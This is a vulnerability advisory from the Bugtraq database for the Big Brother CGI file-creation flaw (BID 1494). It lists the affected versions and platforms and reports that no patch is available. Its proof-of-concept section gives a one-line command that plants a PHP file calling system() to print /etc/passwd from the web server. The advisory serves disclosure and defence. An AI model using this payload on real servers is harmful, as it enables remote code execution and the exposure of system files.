BB4 Big Brother CGI File Creation Vulnerability

BID:1494

Info

BB4 Big Brother CGI File Creation Vulnerability

Bugtraq ID: 1494
Class: Input Validation Error
CVE:
Remote: Yes
Local: Yes
Published: Jun 11 2000 12:00AM
Updated: Jun 11 2000 12:00AM
Credit: Posted to BugTraq on July 11, 2000 by xternal <[email protected]>
Vulnerable: Sean MacGuire Big Brother 1.4 h1
Sean MacGuire Big Brother 1.4 H
- Apple Mac OS 8 8.6
- Apple Mac OS 9 9.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- FreeBSD FreeBSD 3.5
- FreeBSD FreeBSD 3.4
- HP HP-UX 11.0 4
- HP HP-UX 11.0
- HP HP-UX 10.34
- HP HP-UX 10.30
- Linux kernel 2.3 .x
- Linux kernel 2.2 .x
- Microsoft Windows NT 4.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Novell Netware 5.1
- Novell Netware 5.0
- OpenBSD OpenBSD 2.7
- SGI IRIX 6.5
- SGI IRIX 6.4
- SGI IRIX 6.3
- SGI IRIX 5.3
- Sun Solaris 8_x86
- Sun Solaris 8_sparc
- Sun Solaris 7.0_x86
- Sun Solaris 7.0
Sean MacGuire Big Brother 1.4 g
Sean MacGuire Big Brother 1.4
Sean MacGuire Big Brother 1.3 b
Sean MacGuire Big Brother 1.3
Sean MacGuire Big Brother 1.2
Sean MacGuire Big Brother 1.1
Sean MacGuire Big Brother 1.0 9d
Sean MacGuire Big Brother 1.0 9c
Sean MacGuire Big Brother 1.0 9b
Sean MacGuire Big Brother 1.0
Not Vulnerable:

Discussion

BB4 Big Brother CGI File Creation Vulnerability

A vulnerability in Big Brother exists which would allow a user to remotely create CGI scripts which could be requested from the Web Server. These could be used to read files and possibly execute commands on the web server machine.

Exploit / POC

BB4 Big Brother CGI File Creation Vulnerability

./bb 1.2.3.4 "status evil.php3 <?<system(\"cat /etc/passwd\");?>"

will allow viewing of the /etc/passwd upon browsing to http://1.2.3.4/bb/logs/evil.php3.

Solution / Fix

BB4 Big Brother CGI File Creation Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

BB4 Big Brother CGI File Creation Vulnerability

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